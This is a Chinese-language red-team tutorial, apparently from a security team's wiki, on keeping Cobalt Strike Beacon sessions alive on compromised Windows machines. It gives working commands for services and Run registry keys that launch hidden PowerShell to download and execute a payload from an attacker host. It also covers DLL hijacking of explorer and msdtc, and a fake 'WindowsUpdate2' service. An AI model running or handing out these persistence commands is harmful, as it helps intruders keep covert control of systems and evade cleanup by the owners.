在攻防演练中,无论是在同内网其他出网机器还是在当前被控机,都建议拿到主机权限后优先考虑建立一个持久化的据点,方便后续渗透。正常情况下,当目标机器重启之后,驻留在 cmd.exe、powershell.exe 等进程中的 Beacon payload 就会掉,导致我们的 Beacon Shell 掉线。在Windows上我们可以通过 IFEO、启动项、服务等方式进行权限维持,这样机器重启之后 Beacon Shell 还会在。因为这里是cobalt strike wiki,所以主要说一下在CS上的操作,其他一些常见操作就不再详述了,网上资料挺多的。。。
权限维持以启动CS会话为例,不涉及账号隐藏等等, 常见的可以用于启动会话的权限维持方式。1、注册表 2、启动项 3、计时任务 4、服务 5、shift或者放大镜 6、各种劫持 7、利用其他安装的软件
在目标会话上点击右键
Explore-Process List
然后选择一个进程,点击下面菜单栏里的Inject即可完成注入
从Cobalt Strike菜单栏
Attacks--Web Drive-by--Scaripted Web Delivery
生成powershell后门
点击Launch后,返回powershell远程下载执行命令。然后执行以下命令
shell sc create "Name" binpath= "cmd /c start powershell.exe -nop -w hidden -c \"IEX ((new-object net.webclient).downloadstring('http://192.168.1.1:8080/a'))\""
shell sc description Name "Just For Test" //设置服务的描述字符串
shell sc config Name start= auto //设置这个服务为自动启动
shell net start Name //启动服务
此时重启服务器后,即可成功返回一个shell
在windows启动项注册表里面添加一个木马程序路径,如:以system权限打开beacon后,输入
shell reg add HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run /v "Keyname" /t REG_SZ /d "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe -nop -w hidden -c \"IEX ((new-object net.webclient).downloadstring('http://192.168.1.1:8080/a'))\"" /f
此时账号注销后重新登录,界面上会出现powershell快速闪过消失,成功返回shell 另外以下键值也可设为自启动
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon
explorer这个进程每隔一段时间就会自动加载,所以可以用它目录下的配置文件进行权限维持。我们可以使用Cobaltstrike生成对应系统位数的DLL文件放置目标系统C:\Windows\目录下,要注意重命名为linkinfo.dll
建议使用administer权限执行此操作,如果系统用户不是Administrator用户需要bypassuac,注意用户一旦注销beacon就会掉
msdtc程序每次启动时都会加载三个dll,oci.dll默认是不存在的,可以通过劫持这个 dll以达到权限维持目的,位于注册表:
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\MSDTC\MTxOCI
首先把生成的恶意dll文件传到c:\windows\system32\目录下,然后kill掉msdtc进程
shell taskkill /f /im msdtc.exe
等待一段时间,mstdc.exe重新启动后即可成功加载oci.dll上线cs,不过是普通用户身份。。。还得需要自己进行权限提升
项目地址
https://github.com/DeEpinGh0st/Erebus
下载后导入CS即可,不过使用时注意会话必须是system权限
1、首先加载 cna 脚本
Cobalt Strike → Script Manager → Load → Erebus 中的 Main.cna
2、生成 Payload 可执行文件
Attacks → Packages → Windows Executable(S)
3、上传 payload 可执行文件至目标主机并通过插件添加服务
然后就通过 SC
命令把此 3.exe
添加进了开机启动项,从而初始了一个权限为 SYSTEM
的 Beacon 其效果等同于在beacon控制台中输入
shell sc create "WindowsUpdate2" binpath= "cmd /c start "C:\bea\3.exe""&&sc config "WindowsUpdate2" start= auto&&net start WindowsUpdate2
此时重启机器后同样会获得上线会话
往期推荐
E
N
D
团队内部平台:潮汐在线指纹识别平台 | 潮听漏洞情报平台 | 潮巡资产管理与威胁监测平台 | 潮汐网络空间资产测绘 | 潮声漏洞检测平台 | 在线免杀平台 | CTF练习平台 | 物联网固件检测平台 | SRC资产监控平台 | ......
星球分享方向:Web安全 | 红蓝对抗 | 移动安全 | 应急响应 | 工控安全 | 物联网安全 | 密码学 | 人工智能 | ctf 等方面的沟通及分享
星球知识wiki:红蓝对抗 | 漏洞武器库 | 远控免杀 | 移动安全 | 物联网安全 | 代码审计 | CTF | 工控安全 | 应急响应 | 人工智能 | 密码学 | CobaltStrike | 安全测试用例 | ......
星球网盘资料:安全法律法规 | 安全认证资料 | 代码审计 | 渗透安全工具 | 工控安全工具 | 移动安全工具 | 物联网安全 | 其它安全文库合辑 | ......
扫码加入一起学习吧~